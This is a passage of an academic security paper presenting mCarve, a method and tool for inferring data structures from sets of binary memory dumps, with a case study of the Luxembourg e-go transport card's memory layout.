memory layout of a system and understand or even ma-

nipulate the system’s functioning. Several applications

can be thought of. A first example is the analysis of the

data collected in systems using smartcards, such as the

transportation card mentioned above. One can e.g. ver-

ify privacy concerns by inspecting which travel informa-

tion is stored on the card. Another example is the analy-

sis of the data structures of an obfuscated piece of soft-

ware (e.g. malware) or of a piece of software of which

the specifications have been lost (e.g. legacy code).

The problem of carving attributed dump sets is differ-

ent from the traditional file carving problem. While tra-

ditional file carving tools can be used to obtain informa-

tion about each dump in a set, the dump set’s evolution
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and known attributes provide additional information not

available in traditional file carving.

Our paper is concerned with the problem of extracting

this additional information. The main contributions of

this paper are: (1) to define the problem of carving dump

sets (Section 3); (2) to develop and analyze a method-

ology for carving dump sets based on two simple oper-

ations (Sections 3 and 5); (3) to develop a prototype

carving tool, called mCarve (Section 7); and (4) to apply

this tool to reverse engineer the data structure of the e-go

system (Section 8).

2 Related work

Closest to our work are file carving approaches that try

to recover files from raw data. These approaches try to

recover the data of a single dump whereas we focus on

recovering data (and data structures) of a set of dumps.

Garfinkel [7] describes several carving algorithms that

recover files by searching for headers of known file for-

mats. These algorithms reconstruct files based on their

raw data, rather than using the metadata that points to

the content. Cohen [2] formalizes file carving as a con-

struction of a mapping function between raw data bytes

and image bytes. Based on this formalization, he de-

rives a carving algorithm and applies it to PDF and ZIP

file carving. In recent work, Sencar and Memon [10]

describe an approach to identify and recover JPEG files

with missing fragments. Common to these file carving

approaches is that they are designed for one (or a small

set of) known file format(s).

More general, but perhaps less powerful are the ap-

proaches that analyze binary data by visual inspection.

Conti et al. [3] describe a tool that allows analysts to vi-

sually reverse engineer binary data and files. Their tool

supports simple techniques such as displaying bytes as

pixels, but also more complicated techniques that visu-

alize self-similarity in binary data. Helfman [8] first vi-

sualized self-similarity in binary data using dotplot pat-

terns. Using dotplot patterns he revealed redundancy in

various encodings of information.

Some information in a memory dump may be con-

structed using CRCs, cryptographic hashes, or encryp-

tion. Since the entropy of these pieces of data is higher

than of structured data, they can be detected using en-

tropy analysis. Several methods to efficiently find cryp-

tographic keys are described in [11]. Some of these tech-

niques are based on trial-and-error, while others identify

possible keys by measuring entropy. Testing whether a

given string is random has been studied extensively. See

e.g. [9] for an overview and implementation of the most

important algorithms.

3 Carving attributed dump sets

The concept that is central to our research is the concept

of a dump. A dump consists of raw binary data that is

captured from a system, for instance, from a computer’s

memory, a data carrier or a communication transcript.

An example of a dump is the contents of a public trans-

portation card’s memory.

We assume that the process of creating a dump can be

repeated, allowing us access to a number of dumps of the

same system. We call such a collection of dumps a dump

set. One can, e.g., consider dumps of a number of public

transportation cards, both before and after their use. We

assume that different dumps of the same system have the

same length. If we denote the bit strings of length n ∈ N
by Bn and bit strings of arbitrary, finite length by B∗,

then a set of dumps of length n is denoted by S ⊆ Bn.

The length n of bit string s ∈ Bn is denoted by |s| and
the number of elements in set S is denoted by |S|. In

this paper, the closed interval [i, j] will denote the set of
integers z such that i ≤ z ≤ j and the half-open interval
[i, j)will denote the set of integers z such that i ≤ z < j.
For i ∈ [0, |s|) we denote the i-th bit of s by si. For

I ⊆ [0, |s|), we denote the subsequence of s that consists
of all elements with index in I by s|I . The subsequence
operator extends to sets of dumps in the obvious way.

A dump contains information about the state of the

system, e.g., the number of rides left on a public trans-

portation card or the last time that it was used. We call

such state properties attributes. For each dump set we

consider a set A of attributes. The function type: A →
D assigns to every attribute a finite value domain, where

D denotes the set of all finite value domains. The value

of attribute a ∈ A expressed in dump s is denoted by

vala : S → type(a). For instance, the type of the at-

tribute rides-left can be [0, 15] and a particular dump s of
a card can have 5 rides left, so valrides-left(s) = 5. The

type of the attribute last-used is the set of all dates be-

tween 1/1/2000 and 1/1/2050, extended with the time of

day in hh:mm:ss format.

A dump contains the system’s attribute values in a bi-

nary representation. The mapping from an attribute do-

main to its binary representation is called an encoding.

We assume that for a given attribute a ∈ A the length of

an encoding is fixed, so an encoding of a is a function

from type(a) to Bn for some n ∈ N. This function is re-
quired to be injective. For the public transportation card,

a sample encoding of the rides-left attribute is the (5-bit)

binary representation and a possible encoding of the last-

used attribute is the number of seconds since 1/1/2000,

00:00 hrs modulo 232 expressed in binary format. The

set of all encodings ofD ∈ D is denoted by ED.

We start with the assumption that an attribute is always

stored at the same location in all dumps of the system. In
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Section 5 we will extend this to semi-dynamic attributes.

With this assumption we can identify which bits of the

dump are related to a given attribute. This is captured in

the notion of an attribute mapping. Here we denote the

powerset of a set X by P(X).

Definition 1. Let S ⊆ Bn be a dump set with dumps

of length n. An attribute mapping for S is a function

f : A → P([0, n)), such that

∀a∈A ∃e∈Etype(a) ∀s∈S : s|f(a) = e(vala(s)).

An attribute mapping is non-overlapping if

∀a1, a2∈A : a1 �= a2 =⇒ f(a1) ∩ f(a2) = ∅.

An attribute mapping is contiguous if

∀a∈A ∃i, j ≤ n : f(a) = [i, j).

Given a dump set S and all attribute values for each

dump in S, the carving problem for attributed dump sets

is the problem of finding an attribute mapping for S.
The existence of such a mapping does not imply that

the attributes are indeed encoded in the dump, but merely

that they could have been encoded at the indicated po-

sitions in the dumps. Conversely, if an attribute can-

not be mapped in S, it means that this attribute is not

present through a deterministic, injective encoding. Of

course, this does not rule out the possibility that a non-

deterministic encoding is used, such as a probabilistic

encryption, or that the attribute is stored dynamically,

i.e. not always at the same location. We consider the

search for high-entropy information and semi-dynamic

attributes later in this paper.

The notion of an attribute mapping is illustrated in Fig-

ure 1. This example consists of five dumps, s1, . . . s5, of
length n = 18. We look at the attribute rides-left (rl)
with the values as given in the figure and we consider

two possible encodings enc1 and enc2. The first encod-

ing is the standard binary encoding of natural numbers.

It can be found in the dumps at two different (contigu-

ous) positions: [5, 8] and [12, 15]. The second encoding,

which is not standard, occurs at positions [3, 6]. Each of

these three cases defines a contiguous attribute mapping

for rides-left. There might be more candidate encodings.

4 Commonalities and dissimilarities

Given the values of an attribute for the dumps in a dump

set S, we can use the commonalities and dissimilarities

of these dumps to derive restrictions on the possible at-

tribute mappings for S. Such restrictions are derived in

two steps. In the first step we look at dumps that have

the same attribute value. In this case, we can derive those

rl dump enc1 enc2

s1 4 010100100111010000 0100 1001

s2 4 001100100001010010 0100 1001

s3 5 101110101011010100 0101 1101

s4 6 001010110111011011 0110 0101

s5 6 111010110011011001 0110 0101

Figure 1: Example of a dump set with three possible at-

tribute mappings.

positions in the bit strings that cannot occur in the encod-

ing of the attribute. In the second step we look at dumps

of which the attribute values differ, allowing us to deter-

mine positions in the bit strings that should occur in the

encoding of the attribute.

For the first step, we start by observing that an attribute

a ∈ A induces a partition

bundles(a, S) =

{{s ∈ S | vala(s) = d} | d ∈ type(a)}

on a dump set S. An element of this partition is called a

bundle. Thus, a bundle is a set of dumps with the same

attribute value. For instance, Figure 1 shows three bun-

dles for attribute rides-left (rl), namely {s1, s2}, {s3},
and {s4, s5}.
The common set determines which bits in the dumps

of a dump set are equal if the attribute values are equal.

Definition 2. Let a ∈ A be an attribute and S ⊆ Bn

be a dump set. The common set of S with respect to a,
denoted by comm(a, S) ⊆ [0, n), is defined by

comm(a, S) =
⋂

b∈bundles(a,S)

{i ∈ [0, n) | ∀s, s′ ∈ b : si = s′i}.

An example is given in Figure 3. The elements from

the common set are marked with an asterisk.

Given that the encoding of an attribute value is deter-

ministic, this gives an upper bound on the bits used for

this attribute.

Lemma 1. Let A be an attribute set and let f be an at-

tribute mapping for dump set S ⊆ Bn, then

1. ∀a ∈ A : f(a) ⊆ comm(a, S),

2. if Ia ⊆ [0, n) is a family of sets for a ∈ A, such
that f(a) ⊆ Ia ⊆ comm(a, S), then the function

f ′ : A → P([0, n)), defined by f ′(a) �→ Ia, is an
attribute mapping.



110 20th USENIX Security Symposium USENIX Association

The first property states that every possible attribute

mapping is enclosed in the common set, so one can re-

strict the search for attribute mappings to the locations in

the common set. The second property expresses that ev-

ery extension of an attribute mapping is also an attribute

mapping, provided that it does not extend beyond the

common set.

Next we look at dumps with different attribute values.

Injectivity of the encoding function implies that the en-

coding of two different values must differ at least in one

bit. This is captured in the notion of a dissimilarity set.

This set consists of all intervals that, for each pair of

dumps with a different attribute value, contain at least

one location where the two dumps differ.

Definition 3. Let a ∈ A be an attribute and S ⊆ Bn be

a dump set. The dissimilarity set of S with respect to a,
denoted by diss(a, S) ⊆ P([0, n)), is defined by

diss(a, S) = {I ⊆ [0, n) |

∀s, s′ ∈ S : (vala(s) �= vala(s
′) =⇒

∃i ∈ I : si �= s′i)}

An example of the dissimilarity set is given in Fig-

ure 4. The next lemma expresses that every attribute

mapping is an element of the dissimilarity set. Conse-

quently, we can restrict the search for possible attribute

mappings to the elements of the dissimilarity set.

Lemma 2. Let A be an attribute set and let f be an

attribute mapping for dump set S ⊆ Bn, then ∀a ∈
A : f(a) ∈ diss(a, S).

An encoding of an attribute value a must at least con-

tain the indexes from one of the sets in diss(a, S). This
implies that we are mainly interested in the smallest sets

in diss(a, S), i.e. those sets of which no proper subset is

in diss(a, S). In order to make this precise, we introduce

some notation.

Let F be a set and let P ⊆ P(F ). We define the

superset closure of P , notation P , by P = {p ⊆ F |
∃p′ ∈ P : p′ ⊆ p}. A set P is superset closed if P = P .

We observe from its definition that diss(a, S) is superset
closed.

Given P ⊆ P(F ), we say that P is subset minimal

if for every p, p′ ∈ P , p′ ⊆ p =⇒ p′ = p. Thus, a

collection of sets is subset-minimal, if no set is a strict

subset of any other set in the collection.

Lemma 3. Let F be a finite set and let P ⊆ P(F ).
Then there exists a unique subset-minimal setQ such that

Q = P .

Given P as in Lemma 3, we denote the unique subset-

minimal set by smin(P ). Then, in order to determine

whether an encoding of an attribute contains at least the

indexes from one of the sets in diss(a, S), it suffices
to verify that it at least contains one of the sets from

smin(diss(a, S)).
By combining the results of the previous lemmas, we

get the following main result.

Theorem 1. Let A be an attribute set and let f be an

attribute mapping for dump set S ⊆ Bn, then

∀a ∈ A ∃I ∈ smin(diss(a, S)) :

I ⊆ f(a) ⊆ comm(a, S).

This theorem says that if an attribute is expressed in

a dump set, then its encoding position should contain at

least one of the minimal dissimilarity sets and may not

go beyond the common set.

A consequence of the theorem is that by calculat-

ing diss(a, S) and comm(a, S), we can limit the search

space when looking for the attribute mapping f(a) in the
dumps. We will now investigate how to further limit the

search space.

Let filter(A, c) = {a ∈ A | a ⊆ c} denote the filtra-

tion of a collection of sets in A with respect to a set c. It
is easy to see that the sets of interest for an attribute map-

ping in Theorem 1 are characterized by the following set

smin(filter(diss(a, S), comm(a, S))) (1)

Let R be a set of representatives of bundles(a, S), i.e.
∀b ∈ bundles(a, S) ∃!s ∈ R : s ∈ b. The following the-
orem states that the set

smin(diss(a,R|comm(a,S))) (2)

contains the same index sets as (1). Expression (2) sug-

gests, however, a smaller search space than (1), since the

diss function is computed only over a restricted set of

indexes and a subset of the dump set.

Theorem 2. Let a ∈ A be an attribute and S ⊆
Bn a dump set. Let R be a set of representatives

of bundles(a, S). Then smin(diss(a,R|comm(a,S))) =
smin(filter(diss(a, S), comm(a, S))).

To build up our intuition, we first formulate the lemma

that by expanding a dump set we might be able to locate

an attribute more precisely.

Lemma 4. Let S, S′ ⊆ Bn be dump sets and a ∈ A an

attribute. Then S′ ⊆ S =⇒ diss(a, S′) ⊇ diss(a, S).

The preceding lemma indicates in particular that a

dump set contains more information about an attribute

than its subset of representatives. If we filter the

diss(a, S) sets with respect to the comm(a, S) set, how-
ever, then the representatives are sufficient.



USENIX Association  20th USENIX Security Symposium 111

Lemma 5. Let S ⊆ Bn be a dump set and a ∈
A an attribute. Let R be a set of representatives of

bundles(a, S). Then filter(diss(a, S), comm(a, S)) =
filter(diss(a,R), comm(a, S)).

The filter with respect to the comm(a, S) set in the

preceding Lemma is indeed necessary. In general, the

set diss(a,R) does not coincide with diss(a, S).
Consider, for instance, the three two-bit dumps s1 =

01, s2 = 00, and s3 = 11. Suppose the dumps en-

code the attribute a with vala(s1) = vala(s2) = A and

vala(s3) = B. Then we have the following bundles and

dissimilarity sets.

bundles(a, {s1, s2, s3}) = {{s1, s2}, {s3}}
diss(a, {s1, s2, s3}) = {{0}, {0, 1}}

= {{0}}
diss(a, {s2, s3}) = {{0}, {1}, {0, 1}}

= {{0}, {1}}

Thus, in spite of the fact that s1 and s2 have a common

value for the attribute a, considering both in the dissimi-

larities set provides more information.

Finally, if we assume that the sizes of the attribute

value domains are known, we have an information-

theoretic lower bound on the number of bits that must

have been used for encoding the attribute. This is ex-

pressed in the following lemma, which can be used to

further limit the search space. The lemma follows from

the pigeonhole principle.

Lemma 6. Let A be an attribute set and let f be an

attribute mapping for dump set S ⊆ Bn, then ∀a ∈
A : |f(a)| ≥ log2(|type(a)|).

In Section 6, we will investigate algorithms for deter-

mining the sets smin(diss(a, S)) and comm(a, S).

5 Cyclic attribute mappings

In this section we extend our results to a class of dy-

namic mappings, which we call semi-dynamic or cyclic

mappings. Cyclic mappings can, for instance, be used to

store trip frames on a public transportation card. Such

a trip frame contains all information related to a single

ride. Trip frames are stored in one of a fixed number of

slots in the card’s memory. When validating the card for

a new ride, a new trip frame will be written to the next

available slot. If all slots have been filled, the next trip

frame will be written to the first slot again, etc. We will

show that cyclic mappings can be detected by the same

algorithms as static mappings at the cost of introducing

a number of derived attributes.

Because cyclic mappings consider the evolution of

a given object in time, we will first assume additional

structure on the dump set corresponding to the history

of an object. We assume that for each dump we can de-

termine to which object it belongs through the attribute

id (e.g. the unique identifier of a public transportation

card). For each object we further assume that its dumps

are ordered as expressed by an attribute seqnr .

Definition 4. Let S ⊆ Bn be a dump set and let id and

seqnr be attributes. We say that the pair (id , seqnr) is a
bundle-ordering if type(seqnr) = N and

∀b ∈ bundles(id , S) ∀s, s′ ∈ b :

s �= s′ =⇒ valseqnr (s) �= valseqnr (s
′).

Because the combination of a device identifier and a

sequence number uniquely determines a dump, we can

consider an attribute a as a function on type(id) × N.
Given i ∈ type(id) and n ∈ N we will thus write a(i, n)
for vala(s), where s ∈ S is the dump uniquely deter-

mined by valid (s) = i and valseqnr (s) = n.

Using this notation, we are now able to derive new at-

tributes from a given attribute a. In particular, we can

consider the history of a device. An example is the

attribute a -1, which determines the a-value of the di-

rect predecessor of a dump. This attribute is defined by

a -1(i, n) = a(i, n − 1). It is defined on a subset of S,
viz.

{s ∈ S | ∃s′ ∈ S : valid (s
′) = valid (s)∧

valseqnr (s
′) = valseqnr (s)− 1}.

This generalizes to a -r for r ∈ N. By extending the set of
attributes with such derived attributes, we can automati-

cally verify if a dump contains information on the history

(i.e. the previous states) of a device.

This technique is particularly useful when dealing

with cyclic attribute mappings. A cyclic mapping of

attribute a considers a number of locations to store the

value of a, e.g., [i1, j1), [i2, j2) and [i3, j3). In the first

dump of an ordered id -bundle the value of a is stored at

[i1, j1). In the second dump a is stored at [i2, j2), etc.
The location for the fourth value of a is again [i1, j1).

In order to locate a cyclic mapping for attribute a,
we will derive new attributes acycle(x/c), where c is the
length of the cycle and x is a sequence number (0 ≤ x <
c). Using notation ⌊r⌋ for the floor of rational number

r, we obtain the following extensional definition of these
new attributes:

acycle(x/c)(i, n) = a(i, c ·

⌊
n− x

c

⌋

+ x).

In Figure 2 we show the attributes derived from the rides-

left (rl) attribute, assuming a cyclic mapping of length
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3. The dumps s1 to s5 are consecutive dumps of a sin-

gle card. In order to find the cycle length of a cycli-

cally mapped attribute, it suffices to search for attributes

acycle(0/c), where c ranges from 2 to the expected max-

imum cycle length. In the figure we denote rlcycle(x/c)
by rlx/c .

rl rl0/3 rl1/3 rl2/3 seqnrmod(3)

s1 8 8 - - 1
s2 7 8 7 - 2
s3 6 8 7 6 3
s4 5 5 7 6 1
s5 4 5 4 6 2
s5 3 5 4 3 3

Figure 2: Derived attributes with cycle length 3.

We conclude our observations on cyclic mappings by

considering pointers to such attributes. An example is the

use of a pointer (at a static location), pointing at the block

in memory where the information on the most recent trip

is stored. Clearly, if the trip information is stored al-

ternatingly at different locations, the pointer will have a

similar cyclic behaviour. We can search for such cyclic

pointers by introducing attributes seqnrmod(c), which

consider the sequence number of the dump modulo cy-

cle length c. Figure 2 contains an example for c = 3.

6 Algorithms

In the following we concern ourselves with the two basic

carving algorithms, comm and diss.

6.1 Commonalities

The algorithm computing the comm function identifies

all positions in which given bitstrings have the same

value. We implement it using the function fc : P(B∗) ×
P(N) → P(N) which we define recursively as follows,

using the symbol ·∪ for the disjoint union of sets.

fc(∅, I) = I
fc({s}, I) = I

fc(S ·∪{s, s′}, I) = fc(S ∪ {s}, {i ∈ I | si = s′i})

Obviously, for dumps of length n,

comm(a, S) =
⋂

b∈bundles(a,S)

fc(b, [0, n)).

The bit complexity of this step is O(n · |S|).
The function comm is illustrated in Figure 3. For

each of the three bundles we have calculated the fc set

as the set of all positions where all dumps from the bun-

dle agree on the bit (indicated by the asterisk symbols).

Finally, the comm set cm is the intersection of these fc
sets.

rl dump

s1 4 010100100111010000

s2 4 001100100001010010

*..******..*****.* fc
s3 5 101110101011010100

****************** fc
s4 6 001010110111011011

s5 6 111010110011011001

..*******.******.* fc

...******..*****.* cm

Figure 3: Calculation of the comm set.

6.2 Dissimilarities

Given a set of bundles, the algorithm for the diss func-
tion identifies intervals in which any two bitstrings from

different bundles differ in at least one position.

We implement the diss function in the case where the

attribute mapping is assumed to be contiguous using the

dissimilarity interval function iv(a, S)(i). It denotes the
shortest interval that a contiguous encoding of attribute

a must have if it is to start at position i. Such an interval

does not exist if there are dumps in S which do not differ

at any position in [i, n).

Definition 5. Let a ∈ A be an attribute and S ⊆ Bn be

a dump set. The dissimilarity interval function iv(a, S) :
[0, n) → P([0, n)) ∪ {⊥} of S with respect to attribute

a is defined by

iv(a, S)(i) = [i, min{k ∈ [i, n) |

∀d, d′ ∈ S : vala(d) �= vala(d
′) =⇒

∃j : (i ≤ j ≤ k ∧ dj �= d′j)}
]

if the minimum exists and ⊥ else.

The following lemma expresses that the dissimilarity

set for contiguous attribute maps can be obtained from

the dissimilarity interval function. To state the lemma,

we first need to define subset minimality and superset

closure for sets of intervals.

Let In = {[i, j] ⊆ N | i, j < n} be the set of intervals
in [0, n). We define the interval-superset closure of a set

P ⊆ In by {p ∈ In | ∃p′ ∈ P : p′ ⊆ p}. It is easy

to see that the interval-superset closure of P is equal to

P ∩ In. A set P is said to be interval-superset closed if

P ⊆ In and P = P ∩ In. We say that P is interval-

subset minimal if P ⊆ In, and for every p, p′ ∈ P , p′ ⊆
p =⇒ p′ = p. It is also easy to see that for every

set of intervals P ⊆ In, there is a unique interval-subset
minimal set Q ⊆ In such that Q ∩ In = P ∩ In. The
proof is analogous to the proof of Lemma 3.
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Lemma 7. Let S ⊆ Bn be a dump set and a ∈ A an

attribute. Let the set T be defined by

T = {iv(a, S)(i) ∈ In | i ∈ [0, n) ∧

iv(a, S)(i + 1) �⊆ iv(a, S)(i)}

then T is the interval-subset-minimal set that satisfies

T ∩ In = diss(a, S) ∩ In.

To compute iv(a, S)(i) for i ∈ [0, n), we assume for

simplicity of exposition that no two dumps in S have the

same value for attribute a, that is, we are restricting our-
selves to a set of representativesR of bundles(a, S).
A naive algorithm for iv(a,R)(i) is to first compare

two dumps from R then to iterate over all remaining

dumps in R comparing each new dump to the first two

dumps and all dumps that have already been iterated

over. In each comparison of two dumps, the first po-

sition after position i in which the two dumps differ

is sought for. The maximal such position is returned.

More precisely, let fiv : P(B∗) × N → N ∪ {−∞,∞}
be defined recursively as follows. Note that we adopt

the conventions min(∅) = ∞, max(∞, k) = ∞, and

max(−∞, k) = k for all k ∈ N ∪ {−∞,∞}.

fiv(∅, i) = −∞
fiv({s}, i) = −∞

fiv({s, s′}, i) = min{k ∈ N | k ≥ i, sk �= s′k}
fiv(R ·∪{s}) = max(fiv(R, i),

max
s′∈R

{fiv({s, s′}, i)})

Then for any set R of representatives from

bundles(a, S), we have iv(a,R)(i) = [i, fiv(R, i)]
if fiv(R, i) ∈ N and iv(a,R)(i) = ⊥ else. The

number of comparisons of two dumps, i.e. the num-

ber of calls to fiv({s, s′}, i), is easily seen to be

quadratic in |R|. We can improve the number of

comparisons to O(|R| log |R|) by sorting the set of

dumps first. We will write s <i s′ if and only if

∃j ∈ [i, n) : sj < s′j ∧ ∀i ≤ k < j : sk = s′k. We will

write s ≤i s
′ if s <i s

′ or ∀j ∈ [i, n) : sj = s′j .
A more efficient algorithm A to compute iv(a,R)(i)

runs as follows.

1. Sort the dump set R in ascending order with respect

to ≤i. Let s(1) ≤i s(2) ≤i . . . ≤i s(|R|) be the

sorted list of these dumps.

2. For j from 1 to |R| − 1, compare s(j) with s(j+1).

For the comparison, start with the i-th bit and move

towards the n − 1-st bit. Let kj be the index of the

first bit in which s(j) differs from s(j+1). If no such

bit exists, output⊥ and stop.

3. Output the interval [i,maxj∈[1,|R|](kj)].

Theorem 3. Let S ⊆ Bn be a dump set and a ∈ A
an attribute. Let R be a set of representatives of the

sets in bundles(a, S). Then the set T with T ∩ In =
diss(a,R) ∩ In is computed by A in time O(n2 |R| +
n |R| log |R|).

The calculation of the diss set is explained in Figure 4.
We start by taking a representative of each of the bundles.

Then, starting from the left, we calculate for each posi-

tion how far to the right we must go in order to find a

distinguishing bit for each pair of dumps. For position 0
the first two bits already make a distinction between the

three dumps, which gives the interval [0, 1] (indicated by
the first line with asterisk symbols). For position 1 we

need three bits, because s3 and s4 coincide at positions 1
and 2. This gives the interval [2, 4], etc. Those sets be-
longing to the subset-minimal diss set are marked with

“minimal”.

rl dump

s1 4 010100100111010000

s3 5 101110101011010100

s4 6 001010110111011011

**................ minimal
.***..............
..**.............. minimal
...**............. minimal
....****.......... minimal
.....****.........
......***.........
.......**......... minimal
etc.

Figure 4: Calculation of the diss set.

If we combine the comm set from Figure 3 and the

diss set from Figure 4, under the assumption that the

number of rides is encoded with 4 bits, we obtain the

four remaining possibilities from Figure 5. This result

includes the three possible attribute mappings from Fig-

ure 1.

rl dump

s1 4 010100100111010000

s2 4 001100100001010010

s3 5 101110101011010100

s4 6 001010110111011011

s5 6 111010110011011001

...****...........

....****..........

.....****.........

............****..

Figure 5: The resulting attribute mappings.
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7 The mCarve tool

We have implemented the algorithms of Section 6 in a

prototype called mCarve [12]. The prototype allows the

forensic analyst to input a collection of dumps and a col-

lection of attributes. Each of the dumps can be accompa-

nied by its attribute values. The prototype was written in

Python and consists of approximately 1200 lines of code

(excluding graphical user interface).

After entering the dumps and attributes the user can

run the commonalities algorithm for an attribute. The

output of the algorithm is the set of indexes I for which

all dumpswith the same attribute value are the same. The

set I is used as a coloring mask to display any dump d
selected by the user: if i ∈ I , then di is colored blue,

otherwise red. The dissimilarities algorithm computes a

subset-minimal set of dissimilarity intervals. Since these

intervals may be overlapping, the prototype enumerates

them rather than showing them as one coloring mask.

This allows the user to step through the intervals. The

prototype displays the interval iv by applying a yellow

coloring mask to all bits di for i ∈ iv. A combined pro-

cedure consolidates the results from the commonalities

and dissimilarities algorithms.

The prototype further allows users to specify two types

of special attributes: a constant attribute and a hash at-

tribute. The former has a constant value for all dumps

and can be used to determine which bits never change.

The latter has a different value for all pairwise differ-

ent dumps and can be used to detect encrypted attributes.

The tool allows one to derive new attributes from other

attributes. These derived attributes can be used to find

cyclic attribute mappings. The tool further allows one to

apply an encoding to a selected interval in each dump. A

number of standard encodings, such as ASCII and base

10, are implemented. Aside from displaying the out-

put onscreen, the user can choose to export the results

to JPEG or to LATEX (see Figure 7 for an example).

7.1 Performance

We illustrate the performance of our prototype by run-

ning our prototype on a generated test suite. The test

suite consists of dumps of sizes 8KB, 16KB, 32KB,

64KB, 128KB, and 256KB. For each file size, 5 dump

sets were generated. Each dump embeds one attribute at

a random position and is encoded in at most 64 bits. The

remaining bits are randomly generated.

The running time of the commonalities procedure is

linear in the number of dumps and the dissimilarities pro-

cedure is quadratic in the number of bundles. Therefore,

the execution time of the combined procedure is mainly

dependent on the number of bundles in the dump set.

Convergence tests show that, in general, fewer than 10

bundles are needed to find an attribute in a dump set.

This allows us to restrict our performance tests to dump

sets of 10 bundles.
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Figure 6: Performance

The tests were run on a Linux machine (kernel 2.6.31-

22) with Intel Core 2 6400 @ 2.13 GHz processor run-

ning Python 2.6.4. Figure 6 shows on the horizontal axis

the number of bundles included in the dump set. On the

vertical axis it shows for each of the file sizes the time in

seconds (averaged over the 5 dump sets) needed to per-

form the combined procedure. The test shows that our

prototype is best suited for dumps of size smaller than

32KB, but it can deal reasonably well with size up to

256KB. Initial experiments have shown that performance

of the tool can be significantly improved by implement-

ing the core procedures in a lower-level language.

7.2 Convergence

Another interesting measure for the mCarve tool is the

rate of convergence of the carved intervals. We will mea-

sure it by computing the number of dumps that are nec-

essary in order to find an attribute in a dump set. For sim-

plicity, we assume that the dumps as well as the attribute

values are given by a uniformly random distribution.

Let q denote the bit length of the attribute’s encoding

in the dump, letN denote the number of dumps and let x
be the number of bundles. We first compute the probabil-

ity of false positives, i.e. the probability of an accidental

occurrence of values matching an attribute. The proba-

bility that the bit string formed by a particular interval of

q bits in all N dumps matches a particular given string

of bits is 2−qN . There are

(
2q

x

)

· x! possible encodings

of x different values. The probability that the q bits in all
N dumps match one of these representations is therefore

2−qN

(
2q

x

)

· x!.

Thus if l denotes the length of the bit strings represent-
ing dumps, then the probability pnfp of no false positives
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is given by

pnfp ≥

(

1−
2−qN · 2q!

(2q − x)!

)l−q+1

.

The inequality is due to the fact that the product on the

right does not concern independent trials. We are inter-

ested in those values of x andN for which the probability

pnfp is large enough that the discovery of an attribute is

not coincidental.

Using the inequality

(
n

k

)

≤
nk

k!
we obtain

(

1−
2−qN · 2q!

(2q − x)!

)l−q+1

≥
(
1− 2q(x−N)

)l−q+1

.

Fixing the number of bundles x and a false positive

probability ǫ, we obtain the following inequality for the

number of dumpsN :

(
1− 2−(N−x)q

)l−q+1

> 1− ǫ.

Thus

N >
−1

q
log2

(
1− (1 − ǫ)

1
l−q+1

)
+ x.

This formula can be used in two ways. If we know the

length q of the encoding, we fix a number of bundles x
and a false positive probability ǫ and compute the num-

ber of dumps N needed for convergence. If we do not

know the length of q, we set it to log2(x) and perform

the same computation. For instance, for dumps of length

l = 1024, false positive probability of ǫ = 0.05, number

of bundles x = 4, and length q = log2(x) = 2 we get

N > 11.14. This means that to have convergence with

probability 0.95 we need to analyze 12 dumps compris-

ing 4 different attribute values.

8 Case study: The E-go system

We illustrate our methodology by reverse engineering

part of the memory structure of the Luxembourg public

transportation card.

8.1 The E-go system

The fare collection system for public transportation in

Luxembourg, called e-go, is based on radio frequency

identification (RFID) technology. The RFID system con-

sists of credit-card shaped RFID tags that communicate

wirelessly with RFID readers. Readers communicate

with a central back-end system to synchronize their data.

Travelers can buy e-go cards with, for instance, a book

of 10 tickets loaded on it. Upon entering a bus, the user

swipes his e-go card across a reader and a ticket is re-

moved from the card.

Since most RFID readers of the e-go system are de-

ployed in buses the e-go is an off-line RFID system [5].

Readers do not maintain a permanent connection with

the back-end system, but synchronize their data only in-

frequently. Since readers may have data that is out-of-

date and tags may communicate with multiple readers,

the e-go system has to store information on the card.

The RFID tags used for the e-go system are, in fact,

MIFARE classic 1k tags. These tags have 16 sectors that

each contain 64 bytes of data, totaling 1 kilobyte of mem-

ory. Sector keys are needed to access the data of each

sector. Garcia et al. [4, 6] recently showed that these

keys can be efficiently obtained with off-the-shelf hard-

ware. Therefore, it is easy to create a memory dump of

an e-go card.

8.2 Data collection

Over a period of 2 months, we collected 68 dumps for

7 different e-go cards of different types. Four cards are

of type 10-rides/2nd-class, two of type 1-ride/2nd-class

and one of type 1-ride/1st-class. According to informa-

tion published by the transportation companies, a card

can contain up to 6 products of the same type. We con-

sidered two classes of events that change the state of a

card: (1) charging the card with a new product (including

the purchase of a new, charged card), and (2) validating

a ride by swiping the card. After each event we dumped

the memory of the card as a binary file. This gave a se-

quence of consecutive events for each card.

Because the e-go system is an off-line system, we ex-

pected to find several attributes encoded on the card. For

each event we therefore collected some contextual in-

formation, which we attributed to the dump following

the event. For charge events we collected the following

attributes: card id (the decimal number printed on the

card); charged product; date, time and location of charg-

ing; card charger id (as printed on the coupon). For val-

idation events we collected: card id; date and time of

swiping; expiration time of the ride; card reader id (be-

cause the card readers have no visible identification we

collected the license plate number of the bus and the lo-

cation of the reader within the bus); rides left; bus num-

ber; bus stop.

These are the attributes that one would expect to find

on the card and that are easy to observe. Most of these

attributes can be obtained by reading the sales slips or

the display of the reader. Since cards are purchased

anonymously, no personal identifying information, such

as name, address, or date-of-birth can be stored on the

card.

In addition to our basic set of dumps, we had access
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shell sector

product

sectors

transaction

sectors

empty

sectors

= constant 0 = constant 1 = variant

Figure 7: E-go memory layout (applying common to a unique attribute).

to 47 dumps from earlier experiments which were less

structured and less documented. We used these dumps to

validate the results of the experiments with our main set

of dumps.

It is important to note that our analysis is entirely pas-

sive: no data on the card needs to be modified and no

data needs to be written to the card.

8.3 Data analysis

Using our tools, we verified the presence of three classes

of attributes: (1) external attributes (i.e., the observable

attributes mentioned above); (2) internal attributes (re-

lated to the organization of the data within the card’s

memory, such as a pointer to the active sector); and (3)

attributes with high entropy (such as CRCs and crypto-

graphic checksums). We also searched for cyclic ver-

sions of these attributes.

Memory layout. The first step in our analysis is to de-

termine the general memory layout of an e-go card. For

this purpose we apply the commonalities algorithm to

the constant attribute, i.e., an attribute that has a con-

stant value for every dump. The result of this operation is

shown in Figure 7. The card’s memory is displayed in 64

lines of 128 bits, giving a total of 8192 bits (1kB). Bits

that have a constant value in all dumps are colored dif-

ferently from bits that vary in value. The recurring struc-

tures immediately suggest a partitioning of the memory

into 16 sectors of 4 lines each. There seem to be four dif-

ferent types of sectors. The structure of the first sector is

unique. We call this sector the shell sector. Lines 2 and

3 of the shell sector are identical. Next there are seven

sectors with a similar appearance (three of these look a

bit less dense than the others because they are used less

frequently in our dump set). We call these sectors the

product sectors. The next five sectors are similar. We call

them transaction sectors. Finally, there are three empty

